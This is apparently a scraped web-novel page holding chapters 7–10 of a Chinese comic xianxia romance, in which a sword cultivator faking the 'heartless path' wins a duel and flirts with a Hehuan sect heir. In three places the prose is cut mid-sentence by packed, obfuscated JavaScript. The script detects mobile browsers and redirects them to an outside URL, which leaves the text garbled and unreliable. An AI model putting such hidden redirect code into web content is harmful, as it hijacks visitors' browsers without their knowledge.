“……”花榭眸子沉了沉,抬眼又恢复了寻常的笑意,张口道,“行啊,那你……” 话音未落,身前又倾盖上一道阴影。 洛云晚扒开谢逍白的手快步走过来,高马尾柔和地落在颈边,开口的声音有些轻:“明天下午有我的比赛,你要来看么?” 她背着光站在夜色里,让人看不清神情。 “啊……我……”花榭失神地张了张嘴,脸颊的烫意一瞬间似乎要蔓延到眼尾。 洛云晚站定,沉默等他回应。 而后,他水色的眸子凝了凝,又偏过头去,闷声道:“也许会吧……你别期待了!可能也不会去……” 他墨色的发丝缠绕着她亲手扎上的桃枝发簪,偏头时无意抖落一瓣桃花。 这真得是傲娇吧。 洛云晚眼眸得趣弯了弯,冷声又道:“无妨,我就问问。你若是到不了现场,可以去后山押注,记得压我赢。” “如果真赚得多可以考虑分我点。”——这句话在她嘴里转过一圈又咽了下去,洛云晚没好意思说,她还没到那么厚脸皮的程度。 花榭闻言愣了愣,转头抬眸看向她,殷红的唇瓣咬了又咬,只是憋出来一句闷闷的“哦”。 “走了。”洛云晚应声,转身快步跟上谢逍白,手腕抬起轻巧一挥,召出本命剑,纵身跃上,白衣和高马尾在风里招摇飘舞。 “……”花榭默然看她的白衣在夜色里腾空模糊,又侧头摘下自己发髻上缠着的桃枝,握在手中。 如墨的发丝顺势散落,乖顺地垂在他耳畔。 他的心绪似乎重新变得平稳。 “呵……”花榭颤动着肩膀,轻轻笑了一声。 …… 第二日午后,晴空碧天,万里无云。 暖色的日光斜照高台,照得擂台上长胡子老者的影子拖得斜长。 台下一众修士身着款式各异的道袍,三五聚在一起小声交谈,目光却直勾勾盯着空旷的擂台。 “快开始了吧?”徐泽双手将佩剑环抱在胸前,扭头去问周围人。 他是流云峰剑宗的真传弟子,前几天也参加了论剑大会的比拼,不过自认技不如人,在三十二强争夺赛时被淘汰。为了在百年一度的仙门大比中多学习些经验,这之后的比赛他也是每场都十足积极地抢在观众席的最前排。 这一场是论剑大会八强争夺赛的第五轮比赛,即使上午的第四轮已经完赛,现在到场观赛的修士仍旧将看台挤得水泄不通。 毕竟是剑修的比赛嘛,无论是看点、人气,还是讨论度,全部都位居修仙界的榜首,很多修士哪怕不是剑修也会兴致勃勃地前来观赛。 道理也很浅显。 如果你不是符修法修,极有可能看不懂他们专业领域的比赛;器修丹修的对决又太长太无聊,等个三天三夜都出不了结果。 ——但是剑修不一样啊! 刀光剑影、剑势如虹,双方修士各有各的剑招,交锋之时剑光缭乱,你来我往酣畅淋漓,激烈又不失风度的对决令看客观众直呼过瘾;即使对论剑大会不甚了解也可以通过一局比赛就了解规则。 规则简单,对决时长适中,而且还好看,这样的比赛想不成为大热门都难。 徐泽中午在临仙派的食堂草草吃了两口饭后,马不停蹄就跑到擂台前占位置了,生怕站在后排看不清对决——绝对不是因为临仙派食堂口味太奇怪了,绝对。 而他心急如焚,见对决迟迟不肯开始,又转头问了一句:“怎么还没开始?” 站在徐泽身旁的修士听到他的问话后,轻笑了一声开口道:“正常,选手睡过头,或者吃了食堂的菜拉肚子都有可能……哦,我胡说的,只是时候未到而已。” “噗……”徐泽被他的话逗乐了,伸手拍拍那人的肩头,又见他身上穿的正是临仙剑宗的白衣道袍,损言道,“老兄,你们本派人也诋毁自家食堂啊!” “……”谢逍白的高马尾被他拍得摇晃,笑而不语。 一旁站着的另一门派的修士见两人交谈融洽,也凑过来好奇问道:“这场谁打谁啊?我符修,来看着玩的。” “嚯,这场选手的来头可不小!”徐泽一下子就提起劲来,神秘兮兮地低头凑到那位符修面前,“这第一位呢,是云隐门的陈见山师兄,他是掌门的真传二弟子,年纪轻轻就已经大有所为,先前多次下凡斩妖除魔,荣登过《仙门小报·新秀版》的年度风云人物!他在前几日对决的表现很不错,听说还因论战顿悟突破瓶颈了!” “这么厉害啊,”符修惊叹,继而又兴致勃勃问道,“那另一位呢?” 徐泽嘴角勾了勾,用气声悄悄说道:“另一位更是不得了!临仙剑宗明虚真人的亲传弟子,明虚真人是谁啊——那可是当代剑修大能!他的徒弟当然个顶个的厉害,这位选手可谓是近百年间数一数二的剑修天才,还是保送十六强,这是她的第一场比赛!” “而且啊,”徐泽故弄玄虚凑近小声道,“据说她几个月前突然换了心法,改修了大名鼎鼎的无情道!” “噢!”符修打了个寒颤,张大嘴巴道,“这么有魄力!” 徐泽扬起下巴:“那是,不然人家怎么能叫剑修天才呢!咱们这些人断不下尘缘,哪敢去碰什么无情道啊,生怕哪日动了凡情滋生心魔。人家倒不一样,说改修就改修,一看就是心法大成之人。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374762|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 符修眼神闪烁起好奇的神采,凑过来问道:“那她叫什么?我在通讯法器上关注一下。” 徐泽被人积极捧了场兴奋得不行,晃晃脑袋轻咳一声,正准备开口,却听见身旁那位临仙剑宗老兄轻飘飘的声音:“……洛云晚。” 二人的脑袋齐刷刷转向他。 谢逍白迎着日光,狐狸眼满意地眯起,扬了扬下巴又道:“开始了,喏,这我师妹。” “嗡——” 他的话音刚落下,未等徐泽二人反应,擂台上便传来一声锣鼓长鸣。 “论剑大会八强争夺赛第五轮——选手入场!” 随着长胡子老者气势如虹的声音,两道人影分别跃上擂台,一道青衫,一道白衣。 “承让!”擂台左侧的青衫修士行了一礼,高声道,“在下云隐门陈见山,请赐教!” 声音雄浑有力,身姿卓越翩翩,他的出场引起台下看客一众叫好。 陈见山意气风发,看向对面的白衣剑修又是高声道:“洛师妹气度不凡,果真是年少有为啊!” 台下众人目光齐齐看去—— 日光垂照,人声喧沸中,擂台右端的剑修白衣似雪,清瘦高挑,玄色长剑斜佩腰间,长风吹得她衣袂蹁跹,拂过脸侧垂落的鬓发和潇洒飞扬的高马尾。 发丝被风拂开,露出她清冷淡漠的面容。 白衣剑修从容抬眸,目光冷若寒星,轻轻行过一礼,开口道:“临仙剑宗洛云晚,承让。” …… “太酷了!”徐泽兴奋扯着谢逍白的衣袖上下晃动,嘴里滔滔不绝,“她真的是你师妹?那你也一定很厉害吧!” 谢逍白不动声色拂开他乱摸的手,嘴角翘起:“谈不上厉害,在下只是一介普通剑修。” 台上陈见山长剑一展,锋芒毕露:“本命剑——长虹!” 台下符修又眼神崇拜贴近谢逍白问道:“你是明虚真人座下第几位徒弟啊?临仙剑宗待遇怎么样?有生活补贴吗?” 谢逍白高马尾潇洒晃晃,“呵呵”轻笑两声,正要回答。 擂台右侧突然传来一道凛凛寒光—— 洛云晚拔剑出鞘,银光凛冽肃杀,剑身星纹流转,薄如蝉翼,刚一出鞘三尺寒色剑气便萦绕周身,猎猎剑风吹得她发丝翩飞。 “好漂亮的本命剑!” “梦中情剑啊——死在这样的剑下我了无遗憾!” “少妄想了,人家剑宗天才杀你还用不上本命剑,路边捡一根烧烤串就可以了!” “……那也没关系,就算被洛师姐用烤串扎死我也愿意——” 洛云晚手腕微动,剑柄随着她的动作破空转了个漂亮的剑花,再“唰”地垂落身侧。 她嘴角弯了弯,轻声道:“我的本命剑,名叫大师兄。” 台下一阵喧哗。 “什么?她的剑叫大师兄?” “哈哈我还是第一次听这样的名字!” “洛云晚与她大师兄的关系这么好啊。” 台上的陈见山也失笑问道:“洛师妹为何为本命剑取这样的名字?” 唯独看台前排的徐泽和身旁的符修神情一亮,瞬间激动望向谢逍白:“你不会就是这位大师兄吧?!” 谢逍白意外地挑眉,随后又兴味地勾起嘴角,开口正要承认:“没错,我……” “因为,”洛云晚语气放缓了些,在一众修士的好奇目光中眯了眯眼,“大师兄,是真的剑。” 修士:…… 大师兄·谢逍白:…… “咳!没错,”谢逍白急急咳了两声,又镇定神情向二人坦然道,“我是二师兄。” 8. 第8章 如愿看见台下谢逍白的神情在一瞬间变得局促,洛云晚愉悦地勾了勾嘴角。 假装修炼了无情道就这点好,公然在台前玩烂梗都不会有人喝倒彩,他们只会怀疑是不是自己的境界不够,无法理解天才的想法。 方才的场景她早已在大比前就构思多时,不为别的,单纯就是一看见谢逍白她就想犯贱。 而且看他刚刚的状态,似乎还和身旁的修士交谈得很愉快,怕不是又拿着她的事迹给别人吹牛吧! 没办法,一身白衣高马尾,谢逍白的身影在看台前排太明显了,她一眼就能看见。 趁着还未开赛,洛云晚闲闲转了转剑柄,又转过头,冷着神情在擂台上张望—— 看台上的观众多得不行,甚至将过道都挤得水泄不通,各色道袍的修士观战热情高涨,其中还有一些她熟悉的面孔,昨夜主动请客的镇山派王海也在其中…… 只是没看到那个面容比桃花更胜的合欢宗小少爷。 诶,果真没来吗。 她还以为昨夜花榭绯红着脸说过的那一番话是傲娇性子犯了不好意思直说呢,结果原来是她误会了? 也是,她和他昨夜才认识,关系应该还没到愿意来看对方比赛的程度,也许人家只是跟她客套一下呢。 洛云晚不再多想,只是略略往看台远方扫过一眼,什么都还没看清就听得耳畔老者震声道: “论剑大会八强争夺赛第五轮,开赛!” “洛师妹,”几乎是声音落下的一瞬间,陈见山右腿猛地一蹬,整个人如离弦的箭一般冲出,右手长剑翻转向外刺去,高声道,“得罪了!” 冷银色剑光破锋迸出,速度之快,令所有人始料不及,台下看客发出“噢——”的惊呼。 “好快!” “洛云晚怎么还没动?” “这招很险啊!” 剑身“簌”地破空而来,周身剑气锋芒直直向洛云晚的胸口刺来! 靠啊,你小子玩阴的。 来不及多想,洛云晚眼神一凝,足尖点地,脚踝向内急转,扭身与剑刃擦肩。 剑气的寒风扫过她的马尾,擦着衣袖落了空。 “哈……”陈见山快步稳住身子,胸口起伏喘息,长剑在手中一转,“洛师妹好身法。” 他剑招一变,剑锋回旋,横空再度向洛云晚劈来! “铮——” 玄色长剑迅速横档抵住剑刃,剑身一震,金铁交击时传来震耳长鸣。 洛云晚身子后仰,手腕微动,剑锋便顺势向身前一推,寒光剑气如洪流般叠进,将陈见山直直震开数步之外。 陈见山连连后退数步,鞋底在擂台上划出一道道墨色长痕。 掌握对决主动权后,不等他喘息,洛云晚便立刻俯身前倾,将本命剑横空一划,人随剑气突身快若流光,闪身贴近陈见山! “铛!”陈见山仓皇横剑格挡,剑身力道震得他手臂一颤,又急急发出攻势。 剑影缭乱寒星四溅,洛云晚白衣身形如柳絮随风,剑势连贯利落,一连接下对方疾风骤雨般的招式,又将其一并返还。 冷冷剑气萦绕周身,交错中空气里激荡出嘈杂的嗡鸣。突如其来的交锋快若闪电,使得台下看客只能见得剑光如织,人影错落,竟是看不清其中剑法几多。 洛云晚打得来瘾了,眼睛得趣微微眯起,嘴角上扬,恣意轻笑一声,手掌一紧,剑势和力道更胜几分,猎猎剑风吹得她衣袂飘飘。 她自从假装修了无情道后,这两个月每天担惊受怕地凹人设,便很少再有持剑与人交锋时畅快淋漓的感受。而她自十一岁那年被明虚真人捡进剑宗后,身边与她长日相伴的除了师门众人便只剩下她的剑了。 这么日积月累相处下来,虽不似二师兄在宗门时那般剑痴,但她也的确爱上了挥剑时自胸腔迸发出的快意与洒脱。 ——毕竟,五年练剑三年借钱,我们剑修的生活就是这么枯燥。 眼下陈见山落入劣势,慌忙挥剑格挡住洛云晚的攻势后,他后退几步,忽地长吼一声,剑光一闪,欺身而上,直逼她的心口! “坏了!” “当心啊!” “就看这一招了——” 台下修士心绪不由得跟随陈见山的剑势抽动,惊呼声一时高了好几度。 洛云晚耳朵动了动,眼神斜斜看去,持剑屈身,嘴角一勾。 他急了。 太过激烈的攻势无疑会暴露出自身的弱点。 眼看青衫长剑锋芒已至,隐隐剑气刺得空气滋滋作响,画面似乎停留在陈见山滞空的一刹那—— 洛云晚“唰”地一声蹬步跃起,目光灼灼,全然不看他剑锋所指,挥臂横扫,玄色剑气寒芒斜刺,紧贴对方剑刃逆势上挑! “唔!”陈见山右臂一震,他的瞳孔骤缩,五指吃痛不自觉松开—— “铛——” 长剑交锋一阵嗡鸣。 在一众看客高高仰头翘首以盼之际,“唰唰”两声,二人背身落地。洛云晚长剑一点稳住身形,高马尾在风中飘扬。 一把银光长剑在空中翻转三圈,忽地刺入她身后三步远的地面,发出“铮”的长响。 台下修士均滞了神,全场鸦雀无声。 ?没有一点喝彩吗。 洛云晚手腕一转收剑入鞘,墨黑的长发马尾扫过身后白衣,背对着看台,冷声轻飘飘说了一句:“不收徒。” “论剑大会八强争夺赛第五轮——临仙剑宗洛云晚,胜!” 随着老者的高声宣布,锣鼓一鸣,擂台下边传来震耳的叫好欢呼。 …… 论剑大会结束后,看台边。 各色道袍的修士里三层外三层地拥挤成一个圆环,齐齐围绕着正中间神色清冷的白衣剑修。 站在最前排的修士纷纷激动开口,声音一片嘈杂。 “洛师姐,你平时都修炼几个时辰啊?” “如果练剑陷入瓶颈怎么办?” “师姐师姐,无情道还是太考验心境了,有没有简单又速成的心法!” 洛云晚侧头看了她一眼,淡定开口道:“有的师妹有的,这样的心……” 话未说完,她右手的衣袖被人从外面拉住,高高的马尾快如残影般一晃,整个人踉跄着硬是被扯出了拥挤热闹的人群。 她觉得被挤得像是一个一屁股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374763|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐扁的馒头,手臂连着衣袖也被扯得拉长如面筋。总算挤出来后,她直接“哎哟”一声摔进一个冷冰冰的怀抱,抬眼去看,竟是自家宗门里那个真修了无情道的小师妹贺鸢。 ——哦,身旁还站了一个兴致盎然的谢逍白。 “劲真大啊小鸢。”她一边感叹一边连忙从贺鸢矮矮小小的身子中抽离,生怕自己一个不小心把小师妹压死了。 她甩了甩自己的右臂,又抬眼问谢逍白:“咋把我扯出来了?我还想出风头呢。” “你可别装了啊,”谢逍白趁她不备“砰”地弹了一下她的脑门,“再装把我们宗门和无情道的面子都丢光了!” 洛云晚捂着脑门一听怒了:“我怎么了?不是一直在给临仙派做招生宣传吗!” 谢逍白斜着脑袋笑了一声,语气中带着几分乐子,问道:“刚刚有人问你无情道心法的第一卷是什么,你答的啥?” “呃,”洛云晚回想起了自己的答案,眼神向上飘忽,越说越小声,“通心粉……” 贺鸢冷淡道:“那叫通心无念。内心通达,了却凡念。” 谢逍白又道:“人家问你改修无情道后有没有不适应的地方,你答‘凭什么借钱不还也算尘缘未断’。” 洛云晚:…… 她瘪嘴小声道:“我记不清了嘛。” 贺鸢仰头扯住她衣袖:“没事,师姐,我可以把卷轴借给你。” ……啊,倒也不是这个意思。 洛云晚想起当初恶补无情道心法时看过的那冗长枯燥的一段段文字就反胃,连连摆头:“不不。” 她本想再扯点别的,却见刚才扭头的谢逍白把头转回来,冲她们使了个眼色:“他们找过来了,快走。” 洛云晚好奇转头,果真和一个修士对上视线,那修士瞧见了她,忙小跑过来,嘴里还大喊着:“洛师姐——我还想问一问——” 听了他的话,方才挤在人堆里的修士们眼睛一下子也亮了,提着剑掐着符拖着法器就跑了过来。 “快走啊——!”谢逍白难得慌了神,一边伸手召唤本命剑一边用另一只手推她们,嘴里大喊,“我们临仙剑宗丢不起人了——” “我也没有说得很离谱吧!”洛云晚怪叫一声,但还是跟着谢逍白的动作拔剑出鞘准备逃窜。 忽而,她转头时身子一顿,望见一个黑衣的身影。 那人站在看台一侧的老榕树旁,树干隐没了他半个身形,人群奔走时掀起的风吹动了他的衣摆和散落的长发。 他多情的桃花眼弯起,嘴角带笑,正略略看向她。 忽地无意对上她的视线后,那少年眼眸一怔,薄红迅速攀上脸颊,嫣红的唇瓣似是无措地张了张,簌地僵硬笨拙转过身去。 他快步离开的身影被树干遮挡,只能见得翩飞的墨色发丝。 什么嘛,原来一直有在现场看她呀。 怎么躲得这么远。 洛云晚轻笑一声,纵身跃上本命剑,扭头冲谢逍白和贺鸢吹了个口哨:“我朋友来看我比赛了,我去找他玩会儿。” 说罢,也不等二人回答,洛云晚指尖荧蓝色灵气一点,俯身御剑从人潮上空穿行而过。 9. 第9章 “耶?跑哪儿去了……” 洛云晚蹲在本命剑上,一边用手掐着法诀,一边皱眉眯眼找花榭的身影,御剑穿行过的疾风吹得她脑后高马尾沙沙作响。 她起身御剑那会儿仙门大会的其他比赛还没结束,不同的擂台边依旧拥簇着众多修士,长剑飞快在人流上空穿行。忽而一座擂台上传来“砰”的一声,紧随的一阵黑烟散去,竟是一位丹修炸了炉。那人面色灰黑,衣服也烧焦了半截。 洛云晚不自觉看得乐了几声,等她“诶!”地突然回过神来,花榭黑衣的身影早就不知跑到何处了。 可恶!刚刚炸炉声音太大了,很难不凑热闹啊! 她咬咬牙,蹲着锤了一下自己的长剑,悔不当初。 再抬眼左右张望,洛云晚突然眼瞳一凝,又在擂台的分叉路旁看见了那道飘飘的黑衣身影。 那身影背对着她,正不紧不慢往山下走去。 洛云晚眼睛一亮,忙站起身催动自己的本命剑,绕开人群跟了上去。 黑衣身影踩上石板路,洛云晚“簌簌”地赶着剑追过来;黑衣身影穿过山中涧涧的溪流,洛云晚站在剑上开始好奇他究竟要走到哪去;黑衣身影走到一片郁郁葱葱的竹林,洛云晚不知何时又蹲在了剑上懒洋洋撑着下巴,不近不远跟在他身后。 黑衣身影忽地回头,语气中带着笑问道:“你还要跟在本少爷身后多久?” “!”洛云晚被吓得浑身一抖,险些从剑上摔下来。 强大的心理素质使她立马又装作没事人一般缓缓站起身,浮空垂眼看向他:“我目送你回家。” “……”花榭上挑的桃花眼微微眯起,散落的长发被吹得飘扬,语气缓缓:“外宗修士的居所都在山上,我这是下山。” 啧,给她个台阶下下呗小少爷。 洛云晚谎言被拆穿,僵硬地偏过头去轻咳一声,淡声道:“那你既然有事我便不打扰了,再会。” 说罢,她长剑一转就要离开。 “你站住,”花榭立刻开口,“本少爷说有事了吗。” 洛云晚身形一顿,转头看他。 花榭咬着殷红的唇瓣,抬眼瞪她:“回来啊。” “哦。”洛云晚御剑贴近,再“唰”地跳下来,衣袖翩飞。 哼哼,她就知道。 小少爷脾气嘛,可好懂了。 有的时候,对方不给你台阶下,你就得自己想办法逼着对方给。 ——这,就是厚脸皮剑修的处事之道。 “你……”花榭眨眨眼不去看她,“跟过来想说什么。” “啊,”洛云晚眼底笑意浮现,脸上却故作冷色道,“也没什么,只是昨夜我说有比赛,没想到你真的来看了。” 等待花榭的回应中,洛云晚忽听竹叶簌簌一响,竹影错乱间飞走一只灰白色的山雀。 抬头看山雀的一刹那,耳边传来花榭绵长的声音:“……今日正好无事,随便看看。” 洛云晚闻言偏头看他。少年站在她身侧,此刻也仰起头在看飞走的山雀,嘴角微微勾起,神情很惬意。 无意对上她的目光,花榭又歪了歪头,笑得明媚轻快:“怎么了?” 他歪头时有发丝斜斜从颈肩滑落,墨色的长发和黑衣映得他纤长的脖颈更加皙白。 ……神情好自然啊,真的只是随便来看的? 花榭与她预料中的反应不大相同,洛云晚不禁在心中懊恼自己什么时候也变成自恋狂了。 她不甘心,又问:“没有专程来看我的意思么?” “……没有。”花榭声音飞快,又道,“本少爷从来都不专程看某个人……从来都没有过。” 好吧,众生平等。她这下甘心了。 洛云晚伸手理开拂在身前的马尾,神情也变得从容,淡声问道:“那你看了全程?觉得我打得怎么样?” 花榭闻言轻笑一声:“比我预想中还要厉害些,不愧是临仙剑宗的。” 嘿嘿。 洛云晚禁不住夸,听到这话嘴角又不自觉翘起来了。 ?不对,不能笑。 她猛地想起自己的人设,慌忙冷下表情,转眼去看,所幸花榭正垂眸挑起自己肩上的长发在指尖把玩,目光并未在她脸上停留。 他的指尖白皙而修长,指节处微微泛粉,墨色的长发如流水般在他交叠的手指间游动,让洛云晚不禁想起昨夜桃花瓣落在他发丝时的模样。 很漂亮。她想。 “怎么不说话……”花榭边问边有些疑惑抬头,目光正好撞进洛云晚发神时的眼瞳。 被她这么直勾勾地盯着,花榭抬头的动作滞了一瞬,飞快又偏过头去,眼睫颤了颤,也不说话了。 ……色狼啊洛云晚!知道人家好看也不能一直盯吧! 这下好了吧,合欢宗少宗主都被你盯尴尬了。 眼看着场子就要被她搞僵了,洛云晚暗骂自己一声,连忙抛出话题,指望他能接话:“你怎么下山了?” 花榭背过身子轻飘飘道:“本少爷想看你会跟到哪里。” 洛云晚:…… 哦,合着又是耍她啊。 ?不对。 她“嗯?”了一声,开口问道:“你什么时候发现我跟着你了?” 最开始是她准备和师兄师妹御剑回宗门时发现躲在树后的花榭,对方一对上她的目光转身就消失没踪影了;后来是她看完那倒霉丹修炸炉子才无意间重新找到他的身影,然后一直跟到了竹林里面。 按理说他不会发现她跟在后面啊。 她的跟踪技术有这么差吗。 正在洛云晚暗自纳闷时,花榭饶有兴味的声音传了过来:“那破丹修炸个炉子就那么好看?” “还好吧……诶?”洛云晚脑子一宕机,神情诡异走到他身前,“你知道我在看?” “呵呵……”花榭抬眼瞥了她一瞬,抬手用长袖掩着唇轻轻笑了两声,好听的尾音上扬着,“比本少爷都好看?跟人都能跟丢……笨蛋。” 呃啊可恶,被嘲讽了。 洛云晚仰头看天,装作没听见。 她觉得白日里的花榭攻击力有些太惊人了,耍她跟耍猴儿似的。 还是昨天夜里的可爱啊,被她夸了还会红着脸瞪她。 难道是因为酒醒了? 洛云晚皱眉暗想着,视线中竹林交叠晃动,一点寒光突然破空而来—— “当心!” 话音未落,她神情一冷,飞速抬手,腰间本命剑铿然出鞘落入掌心。 寒光迎面刺来,洛云晚揽住花榭的腰肢,扭身挥剑挡下寒芒。 “咚”。 一块土灰色的鳞甲被剑刃击飞,滚落到地面上。 竹林中传来一阵“沙沙”的响声,一道矮小圆滚的黑影快速穿行而过,惊飞一群鸟雀。 低头去看鳞甲的刹那,洛云晚怀中揽着的腰肢动了动。 薄薄黑衫下柔软的触感及时地传到她的脑中,指尖似乎正好搂住了那人凹陷的侧腰,勾出极其纤细的弧度。 她按着的力道似乎重了些,耳边传来一声压抑又柔和的闷哼。 ! 恶俗啊——! 洛云晚立刻回神,“唰”地松开手,又“哒”地向外边跳了一大步,脑子一瞬间短路,吓得她话都说不明白:“抱一丝——” “……你看着我说。”花榭的声音轻轻的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374764|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抱、抱歉。”洛云晚吞咽一声,转过头去看他,同时飞快眨眼作无辜状。 天杀的,她是真的很无辜! 花榭水润潋滟的桃花眼眯了眯,脸颊和眼尾又泛起昨夜醉酒那般绯红,柔顺的发丝垂在脸侧,往常那樱红的唇瓣被黑衫长袖遮掩住,只能听得他愉悦的笑声:“呵呵……本少爷原谅你了。” 他笑得极其生动,像是艳艳的桃花。 洛云晚耸肩,嘴角也略微勾起道:“多谢小少爷宽宏大量。” “什、什么啊……”花榭闻言皱眉,本就樱红的脸颊一下子又烫了一个度,慌乱转过身去,抬高了音量,“乱叫什么,不许这般叫我!” 洛云晚:“是是是行行行好好好。” 这才对嘛,感觉攻击力一下子就降下来了。 在她想得出神时,花榭蹲下身捡起那片鳞甲,放在手心摆弄着,闷声问道:“……你知道这是何物么?是妖兽的鳞片?” 说实话,要是刚刚真有人暗杀,等她俩小少爷来小少爷去的,杀手早跑得没影儿了。 ——现在去追只能吃一屁股灰。 洛云晚被自己的想法逗得一乐,面上却装高冷回到:“是我年少时的一位朋友,可能她想我了。” “嗯?”花榭把绯红的脸颊埋在双膝间,侧头闷声问,“想你却使这般杀招?我还以为是来寻我仇的呢。” “哦,”洛云晚仰头望天,“她没素质。” …… “谁没素质啊!”茅草木屋里,一个长得圆滚滚的小丫头“哒”地跺脚,双手叉腰高喊道,“小云晚你怎么和阿姐说话呢!” 花榭坐在一旁端起茶杯喝了一口,歪头问:“阿姐?” “对呀!”小丫头快步跑过来,圆嘟嘟的双手撑在桌子上,凑近去眯着眼看他,“我看着小云晚长大的,我不是她阿姐是什么呀?她十三岁那年与人约架把人家裤衩——唔唔!” 洛云晚坐在桌前,火速伸手捂住她的嘴,面色从容抿了口茶,向花榭解释道:“这是青青阿姐,仙山的守山妖兽,小时候陪着我们练剑。” “嘿嘿……”青青眯眼笑了两声,又凑近花榭,突然“哇——”的一声,圆圆胖胖的脸颊两侧生出数列土灰色的鳞片,菱形光滑的鳞甲上印有条条纵纹。 鳞片俨然和方才在竹林里被击飞的那块一致。 花榭眼神惊讶,而后弯了弯嘴角乖乖叫道:“青青阿姐。” 青青捧着脸笑得开花,又重重拍了拍洛云晚的肩,清脆的声音中尽是赞叹:“小云晚你瞧瞧你夫君,多懂事!” “噗——”洛云晚一口茶尽数喷了出来,高冷冰山也忘了装,颤抖着声音道,“夫、夫君?!” “对呀,”青青拍拍手,雀跃道,“我方才助攻怎么样?是不是很惊险很刺激?” 洛云晚脑子又一次宕机,崩溃:“助攻?” “嗯哼,英雌救美,”青青从桌上捡起自己的那一块土灰色鳞片,朝她晃晃,“很能增进感情哦,我刚刚搁那蹲了好久,一点甜饼都没吃到,还不是得让阿姐出手。” “诶,小仙君,”她又凑近花榭,鼻尖在他面前嗅了嗅,“你们在一起多久了?成亲没?那没良心的小云晚都多久没回来看阿姐了,这么大的事都不告诉我!” 洛云晚心如死灰看向花榭。 对方眼睛惊诧地眨了眨,脸上漂亮的薄红还未淡去,唇瓣张了张。 完了啊—— 紧接着,在二人灼灼目光的注视下,花榭端起茶杯极其自然地抿了一口茶,脸颊红晕着,轻轻笑道:“成亲了,她都娶了我两年了。” ? 认识还不到两天吧喂—— 10. 第10章 洛云晚握着茶杯的手抖了抖,神情诡异地看了一眼花榭,接着又冷声向青青解释道:“阿姐,你别听他胡说,我们并未成亲。” 青青捧着脸嘟了嘟嘴,转头问花榭:“果真吗,小仙君?” 花榭的脸颊泛着粉樱色,垂眼淡淡勾了勾唇。 洛云晚生怕他脑袋抽了又说些什么吓死人的胡话,皱眉道:“绝对保真,阿姐莫要问了,谣言传开会损人清誉。” 免得第二天就满门派疯传什么“惊!无情道剑修洛云晚私下竟与合欢宗少宗主成亲两年,一切是否都是她杀夫证道的阴谋?!”,她倒无所谓,只是无端将花榭牵扯进来,对方难免会受到不少议论。 她想了想又看着青青淡声补充道:“这是我这几天新认识的朋友,不是你想的那般关系。” “……”花榭听了她话后,举杯抿了一口茶水,嘴角笑意淡去,也垂眼点点头,轻声道,“嗯,方才是我说笑的,抱歉阿姐。” 他说这话时语气淡淡的,鬓边长发微微垂下,从侧面挡住了他的神情。 青青见两人都否认了关系,蹙眉连声嘟囔:“没成啊?我那会儿蹲在竹林里,看你们又是脸红又是笑又是互相深情对望,说半天只是朋友?……是正经朋友吗?” 洛云晚黑线:“当然正经……而且哪有脸红?哪有深情对望啊。” “有!”青青圆嘟嘟的小手一下指着她,一下又指花榭,嘴里振振有词,“你看着他,他笑,他脸特别红!” 洛云晚顺着她的手指“唰”地转头去看花榭,茫然眨眨眼睛。 她记得在青青插手之前,花榭和她交流好像就没有脸红过,甚至很多时候都是背对着她说话的,语气带笑倒是真的,耍她如耍猴。 哦,还骂她笨蛋来着。 “有么?”洛云晚淡淡问道。 花榭感受到她的注视,闻言轻轻摇头,神情自若道:“不记得了,可能是午后日光照得我有些热罢了。” 他摇头时散落的碎发随着动作微微晃动,轻飘飘的。 洛云晚“噢”了一声。她就说吧,堂堂合欢宗少宗主什么优秀的人没见过,怎么可能和她聊几句就脸红。 昨夜醉了酒脑子不清醒,被她气破防了脸红彤彤的倒是正常。 青青听了这话却是眉头一皱,暗道一声“奇怪”,然后靠在木桌上撑着下巴,脸颊两侧的土灰色鳞片逐渐显露出来,杏眼变得幽黑。 洛云晚知道,这是她动用妖力时显化出的妖形态,只是不知道她为何要使出自己的妖力。 紧接着,她就知道了。 “我那时明明感受到了,你的气味,很愉悦。”青青前倾身子眯着眼用鼻尖嗅了嗅花榭身前的空气,又道,“现在又没了,所以你现在不高兴。对么,小仙君?” “……”花榭惊诧地眨眨眼睛,嘴角轻扬,并未承认也没有否认,只是声音清澈问道,“阿姐居然有这般功力?” 洛云晚脑袋在花榭和青青之间转来转去,她先疑惑小少爷为何现在不高兴,又疑惑青青为何有这般神力,最后转头好奇扬声问道:“这也能闻出来?阿姐,你闻闻我呢?” “啪”。 青青弹了她个脑瓜崩,嘟嘴叉腰:“笨蛋小云晚!你又不是妖,我怎么闻得到?” 怎么一个二个今天都骂她笨蛋,还弹她脑门啊! 洛云晚揉揉额头,朝身边坐的花榭扭了扭下巴,委屈道:“那他也不是妖啊。” 